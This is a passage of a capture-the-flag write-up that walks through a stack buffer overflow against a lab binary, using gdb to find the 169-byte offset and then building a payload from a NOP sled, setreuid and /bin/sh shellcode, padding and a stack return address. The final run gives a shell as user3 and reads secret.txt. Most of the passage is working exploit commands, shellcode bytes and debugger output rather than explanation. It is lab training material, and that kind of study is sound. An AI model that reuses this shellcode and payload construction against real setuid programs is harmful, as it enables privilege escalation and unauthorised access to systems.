new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000000000414141 in ?? ()
(gdb) run $(python -c "print 'A'*(154-5+6+12)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print 'A'*(154-5+6+12)")
new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000000041414141 in ?? ()
(gdb) run $(python -c "print 'A'*(154-5+6+13)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print 'A'*(154-5+6+13)")
new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000004141414141 in ?? ()

Program received signal SIGSEGV, Segmentation fault.
0x0000004141414141 in ?? ()
(gdb) run $(python -c "print 'A'*(154-5+6+14)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print 'A'*(154-5+6+14)")
new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb) run $(python -c "print 'A'*(154-5+6+15)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print 'A'*(154-5+6+15)")
new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x00000000004005ab in concat_arg ()

Once we have 6 x A's (\x41) in the return address when the application crashes we have successfully, fully overwritten the EIP (Extended Instruction Pointer i.e. the "what do I execute next?" instruction register). You can see if we go 1 byte over, the crashed EIP register is showing no A's at all, so our payload has over shot it.

Payload = 154-5+6+14 = 169 so our entire payload going forward, must always be a total of 169 bytes to correctly overwrite the EIP so it points to our shellcode.

Shellcode

We need 2 x particular kinds of shellcode here, 1) /bin/sh shellcode to drop us into a shell and 2) setreuid shellcode to set our UID to that of the user we're trying to have the permissions for.

/bin/sh = \x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05

shellcode + pwntools

We want shellcode that calls setreuid to set our uid=1003 i.e. user3 permissions.

$ pwn shellcraft -f d amd64.linux.setreuid 1003
\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05

total length of shellcode:

Python 2.7.16 (default, Jul 19 2019, 23:05:17) 
[GCC 7.3.1 20180712 (Red Hat 7.3.1-6)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> len('\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05')
54

Our new equation is now: NOP + shellcode + pad + return_address = 169, which is NOP + 54 + 15 + 6 = 169, so NOP=94.

Let's write our payload against bytes, payload = '\x90'*94 + '\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x42'*15 + '\x41'*6

NOP sled + Return Address

The 6 * \x41's at the end are just a place holder for the return address we want- which is the address of the start of our shellcode.

How we find the a return address that will hit the start of our shellcode?

(gdb) run $(python -c "print '\x90'*94 + '\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x42'*15 + 'A'*6")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print '\x90'*94 + '\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x42'*15 + 'A'*6")
new word is doggo1fjqXHj;XH1I//bin/shAPHRWHj<XH1BBBBBBBBBBBBAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb) x/100x $rsp-200
0x7fffffffe8c8: 0x004005a9 0x00000000 0xf7ffa268 0x00007fff
0x7fffffffe8d8: 0xffffecea 0x00007fff 0x67676f64 0x9090906f
0x7fffffffe8e8: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe8f8: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe908: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe918: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe928: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe938: 0x90909090 0x90909090 0x90909090 0xff319090
0x7fffffffe948: 0x03eabf66 0x4858716a 0x050ffe89 0x48583b6a
0x7fffffffe958: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149
0x7fffffffe968: 0x89485041 0x485752e7 0x050fe689 0x48583c6a
0x7fffffffe978: 0x050fff31 0x42424242 0x42424242 0x42424242
0x7fffffffe988: 0x41414141 0x00004141 0xffffea88 0x00007fff
0x7fffffffe998: 0x00000000 0x00000002 0x004005e0 0x00000000
0x7fffffffe9a8: 0xf7a4302a 0x00007fff 0x00000000 0x00000000
0x7fffffffe9b8: 0xffffea88 0x00007fff 0x00040000 0x00000002
0x7fffffffe9c8: 0x004005ac 0x00000000 0x00000000 0x00000000
0x7fffffffe9d8: 0x794daa23 0x97320a39 0x00400450 0x00000000
0x7fffffffe9e8: 0xffffea80 0x00007fff 0x00000000 0x00000000
0x7fffffffe9f8: 0x00000000 0x00000000 0xa1edaa23 0x68cdf546
0x7fffffffea08: 0x2d49aa23 0x68cde5f1 0x00000000 0x00000000
0x7fffffffea18: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffea28: 0xffffeaa0 0x00007fff 0xf7ffe130 0x00007fff
0x7fffffffea38: 0xf7de7656 0x00007fff 0x00000000 0x00000000
0x7fffffffea48: 0x00000000 0x00000000 0x00000000 0x00000000

Pick any address that's full of NOPs (\x90) e.g. 0x7f ff ff ff e8 f8

in little edian format, our return address example would look like this \xf8\xe8\xff\xff\xff\x7f

Final Payload

Let's recap, we now have:

  1. the offset (169)
  2. the pad (15)
  3. the NOP sled (94)
  4. our shellcode (54)
  5. the return address that hits the start of our shellcode (6)

Payload = '\x90'*94 + '\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x42'*15 + '\x18\xe9\xff\xff\xff\x7f'

Capture the Flag

We take the Payload from above, and run it on the CLI against the bufferoverflow-2 application like so:

[user1@ip-10-10-50-188 overflow-4]$  ./buffer-overflow-2 $(python -c "print '\x90'*94 + '\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x42'*15 + '\x18\xe9\xff\xff\xff\x7f'")
new word is doggo1fjqXHj;XH1I//bin/shAPHRWHj<XH1BBBBBBBBBBBB
sh-4.2$ id
uid=1003(user3) gid=1001(user1) groups=1001(user1)
sh-4.2$ cat secret.txt
wowanothertime!!

Success!

beware

shellcode for setreuid apparently doesn't work inside gdb/r2, you must deliver the payload directly to the binary, outside of a debugger.

(gdb) run $(python -c "print '\x90'*94 + '\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x42'*15 + '\x18\xe9\xff\xff\xff\x7f'")
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print '\x90'*94 + '\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x42'*15 + '\x18\xe9\xff\xff\xff\x7f'")
Missing separate debuginfos, use: debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64
new word is doggo1fjqXHj;XH1I//bin/shAPHRWHj<XH1BBBBBBBBBBBB
process 3400 is executing new program: /usr/bin/bash
sh-4.2$ id
Detaching after fork from child process 3406.
uid=1001(user1) gid=1001(user1) groups=1001(user1)
sh-4.2$